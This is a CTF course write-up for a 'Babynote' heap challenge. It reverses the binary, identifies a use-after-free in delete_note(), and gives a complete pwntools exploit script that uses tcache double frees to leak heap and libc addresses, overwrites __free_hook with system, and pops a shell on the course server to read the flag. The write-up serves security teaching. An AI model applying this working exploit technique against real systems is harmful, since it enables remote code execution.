

HW-0x0B Writeup

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Babynote (200 pts)

- Reverse

`main()` 最後是一個無限 while 迴圈：

```
1 void __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3     unsigned int choice; // eax
4
5     init_proc();
6     while ( 1 )
7     {
8         choice = show_menu_and_read_choice();
9         if ( choice <= 5 )
10            break;
11         puts("No such instruction");
12     }
13     JUMPOUT(__CS__, dword_2104 + dword_2104[choice]);
14 }
```

每個 iteration 會根據 user 選擇的功能，去 call 對應的 function：

```
mov     eax, 0
call    create_note
jmp     short loc_170D
; -----
mov     eax, 0
call    show_note
jmp     short loc_170D
; -----
mov     eax, 0
call    edit_note
jmp     short loc_170D
; -----
mov     eax, 0
call    delete_note
jmp     short loc_170D
; -----
lea     rdi, aGoodbye ; "Goodbye"
call    _puts
mov     eax, 0
jmp     short loc_1712
```

- 漏洞

`delete_note()` 中 `free(note)` 後，未將 pointer 設成 NULL，導致之後可以透過呼叫 `edit_note()`、`show_note()` 進行 Use After Free 的操作。

```

1 int delete_note()
2 {
3     _DWORD *ptr; // rax
4     unsigned int index; // [rsp+Ch] [rbp-4h]
5
6     printf("Note index : ");
7     index = read_int();
8     if ( index <= 9 && notes[index] )
9     {
10        free(notes[index]);
11        ptr = note_allocated;
12        note_allocated[index] = 0;
13    }
14    else
15    {
16        LODWORD(ptr) = puts("Invalid index");
17    }
18    return ptr;
19 }

```

● 攻擊思路

1. 這題是用 `malloc()` 而不是 `calloc()`，所以會用到 tcache
2. 利用 double free 做 tcache dup 再 leak fd 能得出 heap_base
3. 利用 double free 做 tcache dup 改 chunk size，然後 free chunk 讓 chunk 進 unsorted bin
4. 利用 unsorted bin 去得出 libc pointer 從而算出 libc_base
5. 利用 double free 做 tcache dup 改 `__free_hook` 成 `system("/bin/sh")`
6. delete note 觸發 `free()`，實際上會呼叫到 `system("/bin/sh")`

● Exploit

```

#!/usr/bin/env python3
# -*- encoding: utf-8 -*-

from pwn import *
context.update(arch = 'amd64', os = 'linux', log_level = 'info')

elf = ELF('/home/Babynote/babynote')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

# Byte sequence alias
A4 = 4 * b'A'
A8 = 8 * b'A'

itob = lambda i : str(i).encode('utf-8')

class Babynote:
    def __init__(self, proc):
        self.proc = proc

    def create(self, size: int, content: bytes):
        self.proc.sendlineafter('Choice >', b'1')
        self.proc.sendlineafter('Note size : ', itob(size))
        self.proc.sendafter('Content : ', content)

```

```

def show(self, index: int):
    self.proc.sendlineafter('Choice >', b'2')
    self.proc.sendlineafter('Note index : ', itob(index))

def edit(self, index: int, content: bytes):
    self.proc.sendlineafter('Choice >', b'3')
    self.proc.sendlineafter('Note index : ', itob(index))
    self.proc.sendafter('Content : ', content)

def delete(self, index: int):
    self.proc.sendlineafter('Choice >', b'4')
    self.proc.sendlineafter('Note index : ', itob(index))

def main():
    proc = remote('140.112.31.97', 30203)
    #proc = elf.process()
    #log.debug('You may attatch this process to gdb now.')
    #input()

    notes = Babynote(proc)

    notes.create(0x18, A4)          # tcache: []
    notes.delete(0)                # tcache: [ chunk0 ]
    notes.create(0x18, A4)          # tcache: []
    notes.delete(0)                # tcache: [ chunk0 ]

    for i in range(4):
        notes.edit(1, p64(0) + p64(0)) # modify chunk0's key...
                                         # prepare for double free
        notes.delete(0)              # tcache: [ chunk0 -> chunk 0 ]

    notes.show(1)
    chunk0_fd = u64(notes.proc.recv(6).ljust(8, b'\x00'))
    heap_base = chunk0_fd - (0x55aa77a972a0 - 0x55aa77a97000)
    log.info('chunk0_fd: {}'.format(hex(chunk0_fd)))
    log.info('heap_base: {}'.format(hex(heap_base)))

    notes.create(0x78, A4)
    notes.create(0x78, b'\x00'*0x48 + p64(0x21) + b'\x00'*0x18 + p64(0x21))
    notes.delete(2)
    notes.create(0x78, A4)

    notes.create(0x18, p64(heap_base + 0x2b0))
    notes.create(0x18, p64(0) + p64(0) + p64(heap_base + 0x2a0))
    notes.create(0x18, p64(0) + p64(0xd1))

    for i in range(7):

```

```

        notes.delete(2)
        notes.edit(4, p64(0) + p64(0))
    notes.delete(2)

    notes.show(4)
    libc_base = u64(notes.proc.recv(6).ljust(8, b'\x00')) - 0x1ebb80 - 0x60
    libc_system = libc_base + libc.sym['system']
    log.info('libc_base: {}'.format(hex(libc_base)))
    log.info('libc_system: {}'.format(hex(libc_system)))

    notes.edit(1, p64(libc_base + 0x1eeb28 - 8))
    notes.create(0x18, A4)
    notes.create(0x18, b'/bin/sh\x00' + p64(libc_system))
    notes.delete(9)

    proc.interactive()

if __name__ == '__main__':
    main()

```

```

root@fe8a42c7b042:/home/Babynote# ./exploit.py [0/9971]
[*] '/home/Babynote/babynote'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[*] '/lib/x86_64-linux-gnu/libc-2.31.so'
  Arch:      amd64-64-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
[+] Opening connection to 140.112.31.97 on port 30203: Done
[*] chunk0_fd: 0x55fc7112a2a0
[*] heap_base: 0x55fc7112a000
[*] libc_base: 0x7f225b86c000
[*] libc_system: 0x7f225b8c1410
[*] Switching to interactive mode
$ cat /home/Babynote/flag
FLAG{4pp4rently_bables_can_wr1t3_n0t3s}
$

```

Thu, 14 Jan 12:48 aesophor@sqlab

flag: FLAG{4pp4rently_bables_can_wr1t3_n0t3s}